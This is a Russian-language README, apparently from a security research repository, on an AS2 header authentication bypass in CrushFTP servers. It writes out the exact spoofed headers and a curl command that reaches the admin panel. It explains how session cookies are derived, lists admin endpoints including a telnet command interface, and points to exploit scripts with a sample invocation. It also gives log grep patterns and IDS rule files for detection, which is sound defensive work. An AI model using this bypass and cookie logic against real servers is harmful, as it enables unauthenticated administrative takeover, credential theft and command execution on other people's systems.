
Исследование обхода аутентификации AS2 в CrushFTP, позволяющего неавторизованный доступ администратора. Включает PoC-скрипты, правила обнаружения и технический анализ в образовательных и защитных целях.
⚠️ ВАЖНО: Эта уязвимость была исправлена CrushFTP в ноябре 2025 года. Данное исследование публикуется только в образовательных и защитных целях.
📝 ПРИМЕЧАНИЕ: Это исследование основано на моделях уязвимостей, аналогичных CVE-2025-54309. Точный номер CVE может отличаться. Это независимое исследование безопасности, проведённое в контролируемой домашней лабораторной среде.
Этот репозиторий документирует критическую уязвимость обхода аутентификации в серверах CrushFTP, которая позволяет получить полный административный доступ через манипуляцию заголовками AS2 (Applicability Statement 2). Уязвимость не требует аутентификации и может быть использована одним HTTP-запросом.
Ключевые моменты:
Исследователь: SmileyFace101 (@SmileyFace101)
Веб-интерфейс CrushFTP ошибочно доверяет заголовкам протокола AS2 без надлежащей проверки. Сервер предполагает, что AS2-запросы уже предварительно аутентифицированы, и обходит обычные процедуры аутентификации.
Уязвимые версии CrushFTP (подтверждено в лаборатории):
Исправленные версии:
Лабораторная среда:
X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0
Пример (лабораторная среда):
curl -H "X-DMZ-Proxy: disabled" \
-H "X-AS2-Version: 1.0" \
-H "User-Agent: AS2Server/1.0" \
"http://10.0.100.50/WebInterface/admin/index.html"
Примечание: Используйте только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
В ходе эксплуатации мы обнаружили математическую взаимосвязь в генерации сессионных cookie, которая делает эксплуатацию 100% надёжной:
CrushAuth Structure: [TIMESTAMP]_[SESSION_ID]
currentAuth = Last 4 characters of SESSION_ID
c2f parameter = Same as currentAuth value
| Аспект безопасности | Уровень воздействия | Описание |
|---|---|---|
| Конфиденциальность | 🔴 КРИТИЧЕСКИЙ | Полный доступ к учётным данным, конфигурациям, PGP-ключам, журналам |
| Целостность | 🔴 КРИТИЧЕСКИЙ | Создание учётных записей, изменение конфигураций, модификация файлов |
| Доступность | 🟡 ВЫСОКИЙ | Выполнение системных команд, возможность нарушения работы сервиса |
| Повышение привилегий | 🔴 КРИТИЧЕСКИЙ | Прямой доступ администратора, создание постоянных учётных записей |
✅ Полная энумерация сервера и пользователей
✅ Создание и изменение учётных записей пользователей
✅ Доступ к файловой системе и её просмотр
✅ Выполнение команд через telnet-интерфейс
✅ Планирование заданий с системными привилегиями
✅ Доступ к PGP-ключам и сертификатам
✅ Изменение административных конфигураций
Смотрите каталог detection/ для:
X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0
/WebInterface/function/ с AS2-заголовками# Web server logs
grep -E "(X-DMZ-Proxy|X-AS2-Version|AS2Server)" /var/log/nginx/access.log
# CrushFTP application logs
grep -E "(WebInterface/admin|WebInterface/function)" crushftp.log
.
├── README.md # This file - overview and usage
├── docs/
│ └── TECHNICAL_ANALYSIS.md # Complete technical deep-dive
├── exploits/
│ ├── enhanced_session_exploit.sh # Full exploitation with session mgmt
│ ├── targeted_exploitation.sh # High-value endpoint testing
│ └── adaptive_exploitation.sh # Multi-strategy approach
└── detection/
├── snort_rules.txt # IDS/IPS signatures (Snort)
├── suricata_rules.txt # IDS/IPS signatures (Suricata)
└── log_analysis.sh # Log analysis and IOC detection
Ознакомьтесь с документацией:
Протестируйте в своей лаборатории:
# Make sure you own the target system!
./exploits/enhanced_session_exploit.sh 10.0.100.50
Разверните обнаружение:
✅ Полный обход аутентификации AS2 обнаружен и задокументирован
✅ Критическое требование к генерации сессионных cookie выявлено и решено
✅ Математическая взаимосвязь в управлении сессиями восстановлена реверс-инжинирингом
✅ Разработана двухфазная методология эксплуатации
✅ Установлена 100% надёжная модель эксплуатации
✅ Выявлены и проанализированы множественные векторы RCE
✅ Проведён полный анализ исходного кода JavaScript
/WebInterface/admin/index.html — Основная административная панель/WebInterface/admin/telnet.html — Telnet-интерфейс/WebInterface/Jobs/index.html — Управление заданиями/WebInterface/UserManager/index.html — Управление пользователями/WebInterface/PGP/index.html — Управление PGP-ключами/WebInterface/function/ — Обработчик административных функцийАвтор: SmileyFace101
GitHub: @SmileyFace101
Период исследования: март — июль 2025 (домашняя лаборатория)
Публичное раскрытие: 6 декабря 2025
Это исследование предназначено ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ и ЗАЩИТНЫХ целей.
✅ Разрешённое использование:
❌ Запрещено:
Используя это исследование, вы соглашаетесь:
Дисклеймер: Автор не несёт ответственности за неправомерное использование. Несанкционированный доступ к компьютерным системам является незаконным.
Лицензия MIT — Подробности в файле LICENSE.
Последнее обновление: 6 декабря 2025
Оценка риска: КРИТИЧЕСКИЙ — Требуется немедленное исправление и смягчение
Последнее обновление: 6 декабря 2025
Автор: SmileyFace101
Исследование проведено: март — июль 2025 в авторизованной лабораторной среде